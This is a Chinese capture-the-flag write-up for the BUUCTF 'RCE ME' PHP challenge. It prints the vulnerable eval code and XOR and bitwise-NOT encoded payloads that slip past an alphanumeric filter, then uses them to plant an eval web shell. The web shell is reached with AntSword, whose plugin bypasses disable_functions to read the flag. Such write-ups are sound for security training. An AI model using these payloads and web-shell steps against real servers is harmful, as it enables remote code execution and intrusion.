[极客大挑战 2019]RCE ME

在线环境BUUCTF搜索

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

分析代码知道传入的值不能是A-Z,a-z,0-9并且不能大于40个字符

1
2
3
4
?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

// 这里进行异或绕过了
// 被解析为:${_GET}{%ff}();&%ff=phpinfo	  

再次构建payload

1
2
3
4
5
6
7
8
9
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[a]))';
$d=urlencode(~$c);
echo $d;
1
2
3
4
5
6
7
%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6
    
// 传值得取反
code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

用web工具连接,蚁剑

在之前的phpinfo能看到很多函数被禁用了,蚁剑不能调用终端,所以得开代理下载一个蚁剑插件,在插件市场里,下载disable_functions的插件 然后在webshell连接页面,启用插件,选择模式 PHP7的UAF

在根目录看见readflag,运行的得到flag~